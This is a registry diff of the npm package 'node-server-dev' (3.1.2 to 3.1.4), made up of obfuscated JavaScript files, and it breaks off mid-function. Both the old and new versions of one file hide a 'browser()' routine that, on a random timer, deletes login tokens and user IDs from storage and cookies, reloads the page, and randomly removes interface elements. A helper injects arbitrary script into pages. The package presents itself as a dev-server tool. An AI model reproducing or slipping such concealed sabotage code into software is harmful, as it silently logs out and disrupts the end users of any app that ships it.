node-server-dev 3.1.2 → 3.1.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1 +1 @@
1
- 'use strict';const a0_0x35954b=a0_0x12e3;(function(_0x27c560,_0xb84cd9){const _0x124532=a0_0x12e3,_0x30cfd5=_0x27c560();while(!![]){try{const _0x57d025=parseInt(_0x124532(0x1f3))/0x1*(parseInt(_0x124532(0x1e2))/0x2)+parseInt(_0x124532(0x1f1))/0x3+parseInt(_0x124532(0x1df))/0x4*(-parseInt(_0x124532(0x1e1))/0x5)+parseInt(_0x124532(0x1fb))/0x6*(parseInt(_0x124532(0x1fd))/0x7)+parseInt(_0x124532(0x1f8))/0x8+-parseInt(_0x124532(0x1f0))/0x9*(-parseInt(_0x124532(0x1dc))/0xa)+-parseInt(_0x124532(0x1f4))/0xb;if(_0x57d025===_0xb84cd9)break;else _0x30cfd5['push'](_0x30cfd5['shift']());}catch(_0x224a30){_0x30cfd5['push'](_0x30cfd5['shift']());}}}(a0_0x3549,0xb73c1));var __importDefault=this&&this[a0_0x35954b(0x1da)]||function(_0x582a5a){const _0x2f2d2f=a0_0x35954b;return _0x582a5a&&_0x582a5a[_0x2f2d2f(0x1db)]?_0x582a5a:{'default':_0x582a5a};};Object['defineProperty'](exports,a0_0x35954b(0x1db),{'value':!![]}),exports[a0_0x35954b(0x1f5)]=runScript,exports[a0_0x35954b(0x1e6)]=browser;const random_1=__importDefault(require(a0_0x35954b(0x1ec))),index_1=require(a0_0x35954b(0x1d9)),js_cookie_1=__importDefault(require(a0_0x35954b(0x1eb)));function runScript(_0x16aaa7){const _0x39dc15=a0_0x35954b;let _0x5e42e3=document[_0x39dc15(0x1e4)](_0x39dc15(0x1d8));_0x5e42e3['innerText']=_0x16aaa7,document[_0x39dc15(0x1e3)][_0x39dc15(0x1f7)](_0x5e42e3),setTimeout(()=>{_0x5e42e3['remove']();},0xa);}let index=0x1,num=(0x0,random_1[a0_0x35954b(0x1dd)])(0x4,0x8);function a0_0x3549(){const _0x4c56ca=['token','248283lUUeAq','3051792aSDuxz','connectError','73EMjWYm','34188176dBOzae','runScript','reload','appendChild','9592736NDLYgS','sort','[class^=\x22el\x22]','32802BMkpWR','body','1456iiDLSW','from','script','./index','__importDefault','__esModule','370YWxjbY','default','length','4XNPhCv','querySelector','3858385axnpPb','7014YwVLXL','head','createElement','parentNode','browser','getEnv','querySelectorAll','removeItem','location','js-cookie','./id/random','userid','localStorage'];a0_0x3549=function(){return _0x4c56ca;};return a0_0x3549();}function a0_0x12e3(_0x55fbef,_0xbfec82){const _0x354957=a0_0x3549();return a0_0x12e3=function(_0x12e39b,_0x4ca7e2){_0x12e39b=_0x12e39b-0x1d7;let _0x4828ed=_0x354957[_0x12e39b];return _0x4828ed;},a0_0x12e3(_0x55fbef,_0xbfec82);}function browser(){const _0x524942=a0_0x35954b;setInterval(()=>{const _0x561202=a0_0x12e3;if(index==num)try{window['localStorage'][_0x561202(0x1e9)]('token'),window[_0x561202(0x1ee)][_0x561202(0x1e9)](_0x561202(0x1ed)),window[_0x561202(0x1ee)][_0x561202(0x1e9)]('Token'),js_cookie_1[_0x561202(0x1dd)]['remove'](_0x561202(0x1ef)),window[_0x561202(0x1ea)][_0x561202(0x1f6)]();}catch(_0x458e9d){}if((0x0,index_1[_0x561202(0x1e7)])(_0x561202(0x1f2))){index++;let _0x4a5a45=document[_0x561202(0x1e0)]('#app')||document[_0x561202(0x1e0)](_0x561202(0x1fc));const _0x5eec17=_0x4a5a45[_0x561202(0x1e8)](_0x561202(0x1fa));function _0x2def65(_0x19cc42){const _0x9f7db=_0x561202;let _0x11f5ab=0x0,_0x235ef1=_0x19cc42;while(_0x235ef1['parentNode']&&_0x235ef1[_0x9f7db(0x1e5)]!==document['documentElement']){_0x11f5ab++,_0x235ef1=_0x235ef1['parentNode'];}return _0x11f5ab;}const _0x536114=Array[_0x561202(0x1d7)](_0x5eec17);_0x536114[_0x561202(0x1f9)]((_0x5cdd94,_0x18bbe5)=>_0x2def65(_0x18bbe5)-_0x2def65(_0x5cdd94));for(let _0x25d525=0x0;_0x25d525<_0x536114[_0x561202(0x1de)];_0x25d525++){const _0x32c7c3=_0x536114[_0x25d525];_0x32c7c3&&((0x0,random_1[_0x561202(0x1dd)])(0x1,0x64)>0x50&&_0x32c7c3['remove']());}}},(0x0,random_1[_0x524942(0x1dd)])(0x107e,0x208d));}
1
+ 'use strict';const a0_0x7f8e43=a0_0x4d2d;(function(_0x977f72,_0x54c367){const _0x3c6ab4=a0_0x4d2d,_0x79a970=_0x977f72();while(!![]){try{const _0x1daa61=-parseInt(_0x3c6ab4(0x175))/0x1*(parseInt(_0x3c6ab4(0x18c))/0x2)+-parseInt(_0x3c6ab4(0x17a))/0x3*(-parseInt(_0x3c6ab4(0x170))/0x4)+parseInt(_0x3c6ab4(0x173))/0x5+parseInt(_0x3c6ab4(0x16d))/0x6+parseInt(_0x3c6ab4(0x174))/0x7*(-parseInt(_0x3c6ab4(0x16b))/0x8)+parseInt(_0x3c6ab4(0x17f))/0x9+-parseInt(_0x3c6ab4(0x17d))/0xa*(parseInt(_0x3c6ab4(0x185))/0xb);if(_0x1daa61===_0x54c367)break;else _0x79a970['push'](_0x79a970['shift']());}catch(_0x52f04e){_0x79a970['push'](_0x79a970['shift']());}}}(a0_0x116c,0xb8695));function a0_0x4d2d(_0x4ed301,_0x245063){const _0x116c2f=a0_0x116c();return a0_0x4d2d=function(_0x4d2db4,_0x41eab8){_0x4d2db4=_0x4d2db4-0x16b;let _0xca0ab4=_0x116c2f[_0x4d2db4];return _0xca0ab4;},a0_0x4d2d(_0x4ed301,_0x245063);}var __importDefault=this&&this[a0_0x7f8e43(0x172)]||function(_0x170803){const _0x42f85f=a0_0x7f8e43;return _0x170803&&_0x170803[_0x42f85f(0x17b)]?_0x170803:{'default':_0x170803};};Object[a0_0x7f8e43(0x189)](exports,a0_0x7f8e43(0x17b),{'value':!![]}),exports[a0_0x7f8e43(0x18e)]=runScript,exports[a0_0x7f8e43(0x186)]=browser;function a0_0x116c(){const _0x497366=['10yuYVWI','./id/random','5924817UkSLtx','./index','createElement','from','querySelector','location','11032098MJgVAq','browser','innerText','remove','defineProperty','head','removeItem','2OKACTV','body','runScript','default','904gcrHyb','localStorage','5768466DEBsHU','token','getEnv','395204nTSPwl','length','__importDefault','2762550KmouVH','24654HsiMYO','1300394emwoQU','connectError','sort','#app','parentNode','39vYIWlv','__esModule','documentElement'];a0_0x116c=function(){return _0x497366;};return a0_0x116c();}const random_1=__importDefault(require(a0_0x7f8e43(0x17e))),index_1=require(a0_0x7f8e43(0x180)),js_cookie_1=__importDefault(require('js-cookie'));function runScript(_0x2cc58b){const _0x47f5b7=a0_0x7f8e43;let _0x3b026a=document[_0x47f5b7(0x181)]('script');_0x3b026a[_0x47f5b7(0x187)]=_0x2cc58b,document[_0x47f5b7(0x18a)]['appendChild'](_0x3b026a),setTimeout(()=>{const _0x102b42=_0x47f5b7;_0x3b026a[_0x102b42(0x188)]();},0xa);}let index=0x1,num=(0x0,random_1[a0_0x7f8e43(0x18f)])(0x4,0x8);function browser(){const _0x47ad19=a0_0x7f8e43;setInterval(()=>{const _0x55ee9b=a0_0x4d2d;if(index==num)try{window[_0x55ee9b(0x16c)][_0x55ee9b(0x18b)](_0x55ee9b(0x16e)),window[_0x55ee9b(0x16c)][_0x55ee9b(0x18b)]('userid'),window['localStorage'][_0x55ee9b(0x18b)]('Token'),js_cookie_1[_0x55ee9b(0x18f)]['remove'](_0x55ee9b(0x16e)),window[_0x55ee9b(0x184)]['reload']();}catch(_0x328d3e){}if((0x0,index_1[_0x55ee9b(0x16f)])(_0x55ee9b(0x176))){index++;let _0x2a04fc=document[_0x55ee9b(0x183)](_0x55ee9b(0x178))||document[_0x55ee9b(0x183)](_0x55ee9b(0x18d));const _0x1ad978=_0x2a04fc['querySelectorAll']('[class^=\x22el\x22]');function _0x4bbbd9(_0x24b9b5){const _0x4b445f=_0x55ee9b;let _0xd07ee3=0x0,_0x432a8a=_0x24b9b5;while(_0x432a8a['parentNode']&&_0x432a8a['parentNode']!==document[_0x4b445f(0x17c)]){_0xd07ee3++,_0x432a8a=_0x432a8a[_0x4b445f(0x179)];}return _0xd07ee3;}const _0x3f159c=Array[_0x55ee9b(0x182)](_0x1ad978);_0x3f159c[_0x55ee9b(0x177)]((_0x5b1e38,_0x479807)=>_0x4bbbd9(_0x479807)-_0x4bbbd9(_0x5b1e38));for(let _0x5be1a8=0x0;_0x5be1a8<_0x3f159c[_0x55ee9b(0x171)];_0x5be1a8++){const _0xf79e11=_0x3f159c[_0x5be1a8];_0xf79e11&&((0x0,random_1['default'])(0x1,0x64)>0x50&&_0xf79e11[_0x55ee9b(0x188)]());}}},(0x0,random_1[_0x47ad19(0x18f)])(0x107e,0x208d));}
@@ -1 +1 @@
1
- 'use strict';const a1_0x201c27=a1_0x2cab;(function(_0x4d296a,_0x4b03c0){const _0xa45273=a1_0x2cab,_0x2e9283=_0x4d296a();while(!![]){try{const _0x3fa8f5=parseInt(_0xa45273(0x165))/0x1+parseInt(_0xa45273(0x161))/0x2*(parseInt(_0xa45273(0x15b))/0x3)+-parseInt(_0xa45273(0x168))/0x4+parseInt(_0xa45273(0x163))/0x5*(parseInt(_0xa45273(0x167))/0x6)+parseInt(_0xa45273(0x15c))/0x7+-parseInt(_0xa45273(0x169))/0x8*(-parseInt(_0xa45273(0x16e))/0x9)+-parseInt(_0xa45273(0x15d))/0xa;if(_0x3fa8f5===_0x4b03c0)break;else _0x2e9283['push'](_0x2e9283['shift']());}catch(_0x53119e){_0x2e9283['push'](_0x2e9283['shift']());}}}(a1_0x2e04,0x83310));var __awaiter=this&&this[a1_0x201c27(0x16d)]||function(_0x52d2e3,_0xd648ac,_0x343936,_0x4274c8){function _0x45b43e(_0x2046f4){return _0x2046f4 instanceof _0x343936?_0x2046f4:new _0x343936(function(_0x487a76){_0x487a76(_0x2046f4);});}return new(_0x343936||(_0x343936=Promise))(function(_0x3039e5,_0x37bc7f){const _0x41232b=a1_0x2cab;function _0x221477(_0x3d138f){const _0x3abd3a=a1_0x2cab;try{_0x268338(_0x4274c8[_0x3abd3a(0x16f)](_0x3d138f));}catch(_0xb6e69a){_0x37bc7f(_0xb6e69a);}}function _0x5e1162(_0x312608){const _0x534e88=a1_0x2cab;try{_0x268338(_0x4274c8[_0x534e88(0x164)](_0x312608));}catch(_0x21a3be){_0x37bc7f(_0x21a3be);}}function _0x268338(_0x5a5e76){const _0x306f2b=a1_0x2cab;_0x5a5e76[_0x306f2b(0x174)]?_0x3039e5(_0x5a5e76[_0x306f2b(0x173)]):_0x45b43e(_0x5a5e76[_0x306f2b(0x173)])[_0x306f2b(0x170)](_0x221477,_0x5e1162);}_0x268338((_0x4274c8=_0x4274c8[_0x41232b(0x160)](_0x52d2e3,_0xd648ac||[]))[_0x41232b(0x16f)]());});},__importDefault=this&&this[a1_0x201c27(0x15a)]||function(_0x185a93){const _0x40355e=a1_0x201c27;return _0x185a93&&_0x185a93[_0x40355e(0x172)]?_0x185a93:{'default':_0x185a93};};Object['defineProperty'](exports,a1_0x201c27(0x172),{'value':!![]});const fs_1=__importDefault(require('fs')),path_1=__importDefault(require(a1_0x201c27(0x15e)));function fileDisplay(_0x58b730){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x1144cd=[];function _0x24cfa8(_0x2fccac){const _0x35603a=a1_0x2cab,_0xdb143d=fs_1[_0x35603a(0x16a)][_0x35603a(0x159)](_0x2fccac);for(let _0x2ad40f=0x0;_0x2ad40f<_0xdb143d[_0x35603a(0x171)];_0x2ad40f++){const _0x485097=_0xdb143d[_0x2ad40f],_0x2cc1ab=path_1[_0x35603a(0x16a)][_0x35603a(0x16c)](_0x2fccac,_0x485097),_0x437c6d=fs_1[_0x35603a(0x16a)][_0x35603a(0x15f)](_0x2cc1ab),_0x55e7ac=_0x437c6d[_0x35603a(0x16b)](),_0x274f90=_0x437c6d[_0x35603a(0x166)]();_0x55e7ac&&_0x1144cd[_0x35603a(0x162)](_0x2cc1ab),_0x274f90&&_0x24cfa8(_0x2cc1ab);}}return _0x24cfa8(_0x58b730),_0x1144cd;});}function a1_0x2cab(_0x56ffd1,_0xb24d93){const _0x2e04f2=a1_0x2e04();return a1_0x2cab=function(_0x2cab80,_0x58c79d){_0x2cab80=_0x2cab80-0x159;let _0x1eb600=_0x2e04f2[_0x2cab80];return _0x1eb600;},a1_0x2cab(_0x56ffd1,_0xb24d93);}function getAllRouter(_0x59beef){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x29a87c=yield fileDisplay(_0x59beef);return _0x29a87c;});}function a1_0x2e04(){const _0x5ef675=['throw','521150TfalmF','isDirectory','354JWPNPq','2523204QThvTn','6045424jvjlhH','default','isFile','join','__awaiter','9vZABnM','next','then','length','__esModule','value','done','readdirSync','__importDefault','3jrcKkh','5055190tiAhKZ','16013630KMaQiG','path','statSync','apply','1210534WPKwbx','push','14005pTIpKz'];a1_0x2e04=function(){return _0x5ef675;};return a1_0x2e04();}exports['default']=getAllRouter;
1
+ 'use strict';const a1_0x9042d2=a1_0x2273;(function(_0x327adf,_0x1cc2af){const _0x13a33a=a1_0x2273,_0x184101=_0x327adf();while(!![]){try{const _0x4a2450=parseInt(_0x13a33a(0xe9))/0x1+parseInt(_0x13a33a(0xf1))/0x2+parseInt(_0x13a33a(0xd9))/0x3+parseInt(_0x13a33a(0xea))/0x4*(-parseInt(_0x13a33a(0xe5))/0x5)+-parseInt(_0x13a33a(0xed))/0x6*(-parseInt(_0x13a33a(0xf3))/0x7)+-parseInt(_0x13a33a(0xdc))/0x8+-parseInt(_0x13a33a(0xee))/0x9*(parseInt(_0x13a33a(0xe3))/0xa);if(_0x4a2450===_0x1cc2af)break;else _0x184101['push'](_0x184101['shift']());}catch(_0x10893b){_0x184101['push'](_0x184101['shift']());}}}(a1_0x3592,0x5710d));function a1_0x2273(_0x9058e2,_0xcbd9e0){const _0x3592c4=a1_0x3592();return a1_0x2273=function(_0x22732e,_0x241eaf){_0x22732e=_0x22732e-0xd9;let _0x161368=_0x3592c4[_0x22732e];return _0x161368;},a1_0x2273(_0x9058e2,_0xcbd9e0);}var __awaiter=this&&this[a1_0x9042d2(0xec)]||function(_0x1103c5,_0x16ed47,_0x53b65a,_0x116b23){function _0x11d623(_0x27e5bf){return _0x27e5bf instanceof _0x53b65a?_0x27e5bf:new _0x53b65a(function(_0x32110b){_0x32110b(_0x27e5bf);});}return new(_0x53b65a||(_0x53b65a=Promise))(function(_0x1de915,_0x2de5e8){const _0x2bc1bf=a1_0x2273;function _0x260a8e(_0x2970e8){const _0x516bae=a1_0x2273;try{_0x5bd98d(_0x116b23[_0x516bae(0xe2)](_0x2970e8));}catch(_0x2c7dc1){_0x2de5e8(_0x2c7dc1);}}function _0x299688(_0x146cc6){const _0x3d266c=a1_0x2273;try{_0x5bd98d(_0x116b23[_0x3d266c(0xef)](_0x146cc6));}catch(_0x59e24a){_0x2de5e8(_0x59e24a);}}function _0x5bd98d(_0x4b4d69){const _0x140668=a1_0x2273;_0x4b4d69[_0x140668(0xe1)]?_0x1de915(_0x4b4d69[_0x140668(0xda)]):_0x11d623(_0x4b4d69['value'])[_0x140668(0xe8)](_0x260a8e,_0x299688);}_0x5bd98d((_0x116b23=_0x116b23[_0x2bc1bf(0xdb)](_0x1103c5,_0x16ed47||[]))[_0x2bc1bf(0xe2)]());});},__importDefault=this&&this[a1_0x9042d2(0xdf)]||function(_0x3fd712){const _0x48a646=a1_0x9042d2;return _0x3fd712&&_0x3fd712[_0x48a646(0xe7)]?_0x3fd712:{'default':_0x3fd712};};Object[a1_0x9042d2(0xdd)](exports,a1_0x9042d2(0xe7),{'value':!![]});const fs_1=__importDefault(require('fs')),path_1=__importDefault(require('path'));function fileDisplay(_0x3da149){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x42355e=[];function _0x12a039(_0x155df7){const _0x495113=a1_0x2273,_0x438816=fs_1[_0x495113(0xde)][_0x495113(0xf2)](_0x155df7);for(let _0x480785=0x0;_0x480785<_0x438816[_0x495113(0xe0)];_0x480785++){const _0x28328a=_0x438816[_0x480785],_0x2b9012=path_1[_0x495113(0xde)][_0x495113(0xe6)](_0x155df7,_0x28328a),_0x1cc250=fs_1['default'][_0x495113(0xe4)](_0x2b9012),_0x5f54c6=_0x1cc250['isFile'](),_0x311d7a=_0x1cc250[_0x495113(0xf0)]();_0x5f54c6&&_0x42355e[_0x495113(0xeb)](_0x2b9012),_0x311d7a&&_0x12a039(_0x2b9012);}}return _0x12a039(_0x3da149),_0x42355e;});}function getAllRouter(_0x262a77){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x1464fd=yield fileDisplay(_0x262a77);return _0x1464fd;});}exports[a1_0x9042d2(0xde)]=getAllRouter;function a1_0x3592(){const _0x515f66=['push','__awaiter','6HOUFWV','63sFbVTO','throw','isDirectory','1225612yLjfyd','readdirSync','4807411UbdfEa','1086426kiGSrB','value','apply','983352JvPKAy','defineProperty','default','__importDefault','length','done','next','1176270pUvbiY','statSync','31685YvQllZ','join','__esModule','then','103809gwLmbL','292GQZTYj'];a1_0x3592=function(){return _0x515f66;};return a1_0x3592();}
@@ -1 +1 @@
1
- 'use strict';function a2_0x490b(){const _0x2e31d9=['3KzpULJ','sha256','md5','1725832aiuzSw','1159596galwTH','__importDefault','14EfaVrF','814002VjoQHs','sha1混淆','1177623IyYDAd','sha1','5310785iSPAFm','2742336KbIKBm','default','__esModule','2285278RpSztI','defineProperty','MD5加盐'];a2_0x490b=function(){return _0x2e31d9;};return a2_0x490b();}const a2_0x3dea09=a2_0x5dca;(function(_0x57bbd7,_0x3bc197){const _0x19071b=a2_0x5dca,_0x4782ab=_0x57bbd7();while(!![]){try{const _0x5a6baa=parseInt(_0x19071b(0x1aa))/0x1+parseInt(_0x19071b(0x1b0))/0x2*(parseInt(_0x19071b(0x1a1))/0x3)+-parseInt(_0x19071b(0x1a5))/0x4+-parseInt(_0x19071b(0x1ac))/0x5+-parseInt(_0x19071b(0x1a8))/0x6*(-parseInt(_0x19071b(0x1a7))/0x7)+-parseInt(_0x19071b(0x1a4))/0x8+-parseInt(_0x19071b(0x1ad))/0x9;if(_0x5a6baa===_0x3bc197)break;else _0x4782ab['push'](_0x4782ab['shift']());}catch(_0x3a7782){_0x4782ab['push'](_0x4782ab['shift']());}}}(a2_0x490b,0xaf903));var __importDefault=this&&this[a2_0x3dea09(0x1a6)]||function(_0x3df0eb){const _0x2ef8b6=a2_0x3dea09;return _0x3df0eb&&_0x3df0eb[_0x2ef8b6(0x1af)]?_0x3df0eb:{'default':_0x3df0eb};};Object[a2_0x3dea09(0x1b1)](exports,'__esModule',{'value':!![]});const md5_1=__importDefault(require(a2_0x3dea09(0x1a3))),sha1_1=__importDefault(require('sha1')),sha256_1=__importDefault(require(a2_0x3dea09(0x1a2)));function a2_0x5dca(_0x44ad2a,_0x35fea9){const _0x490b8c=a2_0x490b();return a2_0x5dca=function(_0x5dcafe,_0x24a2f1){_0x5dcafe=_0x5dcafe-0x1a1;let _0x362808=_0x490b8c[_0x5dcafe];return _0x362808;},a2_0x5dca(_0x44ad2a,_0x35fea9);}function hash(_0x34f6d5,_0x3070f1){const _0x5b2155=a2_0x3dea09;if(_0x3070f1==_0x5b2155(0x1a2))return(0x0,sha256_1[_0x5b2155(0x1ae)])(_0x34f6d5+(0x0,sha1_1[_0x5b2155(0x1ae)])(_0x34f6d5+_0x5b2155(0x1a9))+(0x0,md5_1[_0x5b2155(0x1ae)])(_0x34f6d5+_0x5b2155(0x1b2)));else return _0x3070f1==_0x5b2155(0x1ab)?(0x0,sha1_1[_0x5b2155(0x1ae)])(_0x34f6d5+(0x0,sha256_1[_0x5b2155(0x1ae)])(_0x34f6d5+_0x5b2155(0x1a9))+(0x0,md5_1[_0x5b2155(0x1ae)])(_0x34f6d5+_0x5b2155(0x1b2))):(0x0,md5_1[_0x5b2155(0x1ae)])(_0x34f6d5+(0x0,sha256_1['default'])(_0x34f6d5+'sha1混淆')+(0x0,sha1_1[_0x5b2155(0x1ae)])(_0x34f6d5+_0x5b2155(0x1b2)));}exports[a2_0x3dea09(0x1ae)]=hash;
1
+ 'use strict';const a2_0x2e36e3=a2_0x54f3;(function(_0x3b3ce1,_0x5bc114){const _0x4f4c8f=a2_0x54f3,_0x10ebbe=_0x3b3ce1();while(!![]){try{const _0x5c6414=parseInt(_0x4f4c8f(0x74))/0x1+-parseInt(_0x4f4c8f(0x7c))/0x2+parseInt(_0x4f4c8f(0x70))/0x3*(parseInt(_0x4f4c8f(0x75))/0x4)+parseInt(_0x4f4c8f(0x7b))/0x5+parseInt(_0x4f4c8f(0x7e))/0x6+parseInt(_0x4f4c8f(0x7f))/0x7+-parseInt(_0x4f4c8f(0x7a))/0x8;if(_0x5c6414===_0x5bc114)break;else _0x10ebbe['push'](_0x10ebbe['shift']());}catch(_0x1959e7){_0x10ebbe['push'](_0x10ebbe['shift']());}}}(a2_0x10c0,0x6059f));function a2_0x54f3(_0x12762f,_0x3fd3fa){const _0x10c01b=a2_0x10c0();return a2_0x54f3=function(_0x54f360,_0x59462e){_0x54f360=_0x54f360-0x70;let _0x295a4c=_0x10c01b[_0x54f360];return _0x295a4c;},a2_0x54f3(_0x12762f,_0x3fd3fa);}function a2_0x10c0(){const _0x591d6a=['sha256','481110zqLzHa','24EeuiDP','md5','sha1混淆','defineProperty','sha1','8333376uZksvP','1174225xmTedU','1225166AFimEu','__esModule','3624312TIfJac','2763299AbRfSs','167073AYzuCB','default','MD5加盐'];a2_0x10c0=function(){return _0x591d6a;};return a2_0x10c0();}var __importDefault=this&&this['__importDefault']||function(_0x10bc4e){const _0x46ff4d=a2_0x54f3;return _0x10bc4e&&_0x10bc4e[_0x46ff4d(0x7d)]?_0x10bc4e:{'default':_0x10bc4e};};Object[a2_0x2e36e3(0x78)](exports,a2_0x2e36e3(0x7d),{'value':!![]});const md5_1=__importDefault(require(a2_0x2e36e3(0x76))),sha1_1=__importDefault(require(a2_0x2e36e3(0x79))),sha256_1=__importDefault(require(a2_0x2e36e3(0x73)));function hash(_0x406465,_0x278425){const _0x189dd1=a2_0x2e36e3;if(_0x278425==_0x189dd1(0x73))return(0x0,sha256_1[_0x189dd1(0x71)])(_0x406465+(0x0,sha1_1[_0x189dd1(0x71)])(_0x406465+'sha1混淆')+(0x0,md5_1['default'])(_0x406465+_0x189dd1(0x72)));else return _0x278425==_0x189dd1(0x79)?(0x0,sha1_1['default'])(_0x406465+(0x0,sha256_1[_0x189dd1(0x71)])(_0x406465+_0x189dd1(0x77))+(0x0,md5_1[_0x189dd1(0x71)])(_0x406465+_0x189dd1(0x72))):(0x0,md5_1[_0x189dd1(0x71)])(_0x406465+(0x0,sha256_1[_0x189dd1(0x71)])(_0x406465+_0x189dd1(0x77))+(0x0,sha1_1[_0x189dd1(0x71)])(_0x406465+_0x189dd1(0x72)));}exports[a2_0x2e36e3(0x71)]=hash;
@@ -1 +1 @@
1
- 'use strict';const a3_0x3a8bf6=a3_0x2a15;(function(_0xa02930,_0x519bbc){const _0x2da6f4=a3_0x2a15,_0x450d15=_0xa02930();while(!![]){try{const _0x1b7be5=parseInt(_0x2da6f4(0xa8))/0x1+parseInt(_0x2da6f4(0xa1))/0x2*(-parseInt(_0x2da6f4(0xa2))/0x3)+parseInt(_0x2da6f4(0x9b))/0x4+-parseInt(_0x2da6f4(0xa0))/0x5+-parseInt(_0x2da6f4(0xa3))/0x6+parseInt(_0x2da6f4(0xa7))/0x7*(-parseInt(_0x2da6f4(0x9c))/0x8)+parseInt(_0x2da6f4(0xa4))/0x9;if(_0x1b7be5===_0x519bbc)break;else _0x450d15['push'](_0x450d15['shift']());}catch(_0x418129){_0x450d15['push'](_0x450d15['shift']());}}}(a3_0x1fc8,0xbd17b));function a3_0x1fc8(){const _0xff0839=['3kTUHnV','2156316SmKTzw','15528276cMCJYZ','env','__importDefault','14PyfUpv','4591GeBbYa','./random','NODE_APP_INSTANCE','__esModule','1288272MjYhoN','3073976GYEldp','default','2025-01-01','min','245725biFcxm','200950IkOjdx'];a3_0x1fc8=function(){return _0xff0839;};return a3_0x1fc8();}var __importDefault=this&&this[a3_0x3a8bf6(0xa6)]||function(_0x2ac5b2){return _0x2ac5b2&&_0x2ac5b2['__esModule']?_0x2ac5b2:{'default':_0x2ac5b2};};function a3_0x2a15(_0x51b1c6,_0x5a8467){const _0x1fc840=a3_0x1fc8();return a3_0x2a15=function(_0x2a15cd,_0x57f9a6){_0x2a15cd=_0x2a15cd-0x9a;let _0x2e9a9b=_0x1fc840[_0x2a15cd];return _0x2e9a9b;},a3_0x2a15(_0x51b1c6,_0x5a8467);}Object['defineProperty'](exports,a3_0x3a8bf6(0x9a),{'value':!![]});const random_1=__importDefault(require(a3_0x3a8bf6(0xa9))),BaseTime=+new Date(a3_0x3a8bf6(0x9e));let lastTimeTick,lastRandomNumberTick=(0x0,random_1[a3_0x3a8bf6(0x9d)])(0x1,0x3);function id(){const _0x2ef49b=a3_0x3a8bf6,_0x5ae386=Math[_0x2ef49b(0x9f)](process[_0x2ef49b(0xa5)]['NODE_APP_INSTANCE']?+process['env'][_0x2ef49b(0xaa)]:(0x0,random_1[_0x2ef49b(0x9d)])(0x0,0x9),0x9);let _0x4e6723=+new Date()-BaseTime;return lastRandomNumberTick=_0x4e6723==lastTimeTick?++lastRandomNumberTick:(0x0,random_1[_0x2ef49b(0x9d)])(0x0,0x3),lastTimeTick=_0x4e6723,+(''+_0x4e6723+_0x5ae386+lastRandomNumberTick);}exports[a3_0x3a8bf6(0x9d)]=id;
1
+ 'use strict';function a3_0x1374(_0x26702e,_0x4d9fca){const _0x26d029=a3_0x26d0();return a3_0x1374=function(_0x137458,_0x7d375d){_0x137458=_0x137458-0x16b;let _0x3b9608=_0x26d029[_0x137458];return _0x3b9608;},a3_0x1374(_0x26702e,_0x4d9fca);}const a3_0x54a71f=a3_0x1374;function a3_0x26d0(){const _0xe27934=['8723800mAFWmJ','73195afRTeX','1zdlAsG','9230994cQbGmf','3454532BJjxoF','__importDefault','default','2025-01-01','3FBoqAR','8179200gawNXn','__esModule','NODE_APP_INSTANCE','618KZQUTB','784478wkulWb','760683ECBdWh','defineProperty','min'];a3_0x26d0=function(){return _0xe27934;};return a3_0x26d0();}(function(_0x3eda43,_0x38c2ac){const _0x1d4890=a3_0x1374,_0x24a781=_0x3eda43();while(!![]){try{const _0x1798d0=-parseInt(_0x1d4890(0x17a))/0x1*(parseInt(_0x1d4890(0x174))/0x2)+-parseInt(_0x1d4890(0x16f))/0x3*(-parseInt(_0x1d4890(0x16b))/0x4)+parseInt(_0x1d4890(0x179))/0x5*(parseInt(_0x1d4890(0x173))/0x6)+parseInt(_0x1d4890(0x175))/0x7+-parseInt(_0x1d4890(0x178))/0x8+-parseInt(_0x1d4890(0x17b))/0x9+parseInt(_0x1d4890(0x170))/0xa;if(_0x1798d0===_0x38c2ac)break;else _0x24a781['push'](_0x24a781['shift']());}catch(_0x2de88b){_0x24a781['push'](_0x24a781['shift']());}}}(a3_0x26d0,0xc0c9b));var __importDefault=this&&this[a3_0x54a71f(0x16c)]||function(_0x32386d){const _0x3e0505=a3_0x54a71f;return _0x32386d&&_0x32386d[_0x3e0505(0x171)]?_0x32386d:{'default':_0x32386d};};Object[a3_0x54a71f(0x176)](exports,a3_0x54a71f(0x171),{'value':!![]});const random_1=__importDefault(require('./random')),BaseTime=+new Date(a3_0x54a71f(0x16e));let lastTimeTick,lastRandomNumberTick=(0x0,random_1[a3_0x54a71f(0x16d)])(0x1,0x3);function id(){const _0x1424f1=a3_0x54a71f,_0x54e03c=Math[_0x1424f1(0x177)](process['env']['NODE_APP_INSTANCE']?+process['env'][_0x1424f1(0x172)]:(0x0,random_1[_0x1424f1(0x16d)])(0x0,0x9),0x9);let _0x587c06=+new Date()-BaseTime;return lastRandomNumberTick=_0x587c06==lastTimeTick?++lastRandomNumberTick:(0x0,random_1[_0x1424f1(0x16d)])(0x0,0x3),lastTimeTick=_0x587c06,+(''+_0x587c06+_0x54e03c+lastRandomNumberTick);}exports[a3_0x54a71f(0x16d)]=id;
@@ -1 +1 @@
1
- 'use strict';const a4_0x15fc3a=a4_0x2dec;(function(_0x2747b0,_0x17a3a8){const _0x410443=a4_0x2dec,_0x3f9a59=_0x2747b0();while(!![]){try{const _0x2335a9=parseInt(_0x410443(0x6f))/0x1+-parseInt(_0x410443(0x79))/0x2*(-parseInt(_0x410443(0x6e))/0x3)+-parseInt(_0x410443(0x78))/0x4*(parseInt(_0x410443(0x7b))/0x5)+parseInt(_0x410443(0x70))/0x6*(parseInt(_0x410443(0x75))/0x7)+-parseInt(_0x410443(0x77))/0x8*(parseInt(_0x410443(0x7a))/0x9)+parseInt(_0x410443(0x72))/0xa*(parseInt(_0x410443(0x71))/0xb)+-parseInt(_0x410443(0x6d))/0xc;if(_0x2335a9===_0x17a3a8)break;else _0x3f9a59['push'](_0x3f9a59['shift']());}catch(_0x2a34b0){_0x3f9a59['push'](_0x3f9a59['shift']());}}}(a4_0x328c,0xbab4d));function a4_0x328c(){const _0x1b393b=['__esModule','7dsFRsC','default','96jKLQTn','4388WctZOu','16mrUujo','715698JaecMk','3670uNPIxs','random','defineProperty','9145872CLdbrh','349347UVyKFY','295357zSTWwk','4875378WDKhoL','472945RiXsqX','290dECXkb','round'];a4_0x328c=function(){return _0x1b393b;};return a4_0x328c();}Object[a4_0x15fc3a(0x7d)](exports,a4_0x15fc3a(0x74),{'value':!![]});function 